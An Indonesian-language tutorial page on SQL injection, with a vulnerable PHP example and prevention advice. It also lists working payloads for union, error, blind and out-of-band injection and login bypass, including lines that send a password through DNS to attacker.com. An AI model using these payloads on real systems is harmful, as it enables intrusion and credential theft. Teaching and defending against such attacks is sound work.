Home Pelajaran Web Security SQL Injection (SQLi)
Pemula 35 min Web Security

SQL Injection (SQLi)

Pelajari SQL Injection dari dasar: Union-based, Error-based, Boolean Blind, Time Blind, hingga Out-of-band SQLi. Dilengkapi payload SQL dan cara pencegahannya.

SQL Injection (SQLi) adalah kerentanan keamanan yang memungkinkan penyerang mengintervensi query SQL yang dibuat aplikasi ke database. Penyerang bisa melihat, mengubah, atau menghapus data sensitif. SQLi masih menjadi salah satu ancaman teratas di OWASP Top 10 karena dampaknya yang sangat besar.

Bagaimana SQLi Bekerja

SQL Injection terjadi ketika input pengguna langsung digabungkan ke query SQL tanpa sanitasi. Contoh kode PHP rentan:

PHP (Rentan)
$id = $_GET["id"];
$query = "SELECT * FROM products WHERE id = " . $id;
$result = mysqli_query($conn, $query);

Jika penyerang mengirimkan 1 OR 1=1 sebagai id, query menjadi: SELECT * FROM products WHERE id = 1 OR 1=1 yang mengembalikan SEMUA data.

Jenis-Jenis SQL Injection

1. In-Band SQLi (Classic)

Union-Based: Menggunakan UNION SELECT untuk menggabungkan hasil query asli dengan query penyerang.

Union SQLi Payload
1 UNION SELECT username, password FROM users--
1 UNION SELECT NULL, table_name FROM information_schema.tables--
1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name="users"--

Error-Based: Memaksa database menghasilkan error berisi informasi sensitif.

Error-Based Payload (MySQL)
1 AND extractvalue(1, concat(0x7e, (SELECT database())))--
1 AND updatexml(1, concat(0x7e, (SELECT @@version)), 1)--

2. Blind SQLi (Inferential)

Boolean-Based Blind: Mengirim query yang menghasilkan TRUE/FALSE dan menganalisis perbedaan respons.

Boolean Blind Payload
1 AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = "a"
1 AND (SELECT COUNT(*) FROM users) > 10

Time-Based Blind: Menggunakan fungsi delay untuk menentukan apakah kondisi TRUE.

Time-Based Payload
1 AND IF(SUBSTRING((SELECT database()),1,1)="a", SLEEP(5), 0)
1; IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0)--

3. Out-of-Band SQLi

Menggunakan fitur database untuk mengirim data via DNS/HTTP ke server penyerang. Cocok saat hasil tidak terlihat di respons.

OOB SQLi (MySQL - Windows)
1; LOAD_FILE("\\attacker.com\\data")
1; SELECT LOAD_FILE(CONCAT("\\", (SELECT password FROM users LIMIT 1), ".attacker.com\\x"))

Login Bypass dengan SQLi

Serangan paling klasik pada form login:

Login Bypass Payloads
admin" OR "1"="1"--
admin" -- -
" OR 1=1 LIMIT 1 -- -
' UNION SELECT 1, "admin", "password" -- -

Cara Mencegah SQL Injection

  • Parameterized Queries (Prepared Statements) — metode paling efektif
  • Stored Procedures — pisahkan logika dari data
  • Input Validation & Whitelisting — hanya terima karakter yang diharapkan
  • Escaping — minimal, gunakan library bawaan framework
  • Least Privilege — akun database hanya punya akses minimal
  • WAF (Web Application Firewall) — lapisan pertahanan tambahan
Prepared Statement (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute(["email" => $email]);

Tool Terkait: SQLMap

SQLMap adalah tools otomatis untuk deteksi dan eksploitasi SQLi. Dapat mengidentifikasi jenis database, dump tabel, hingga mendapatkan shell akses.

Referensi

  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PortSwigger SQLi Cheat Sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet
  • PayloadsAllTheThings SQLi: https://github.com/swisskyrepo/PayloadsAllTheThings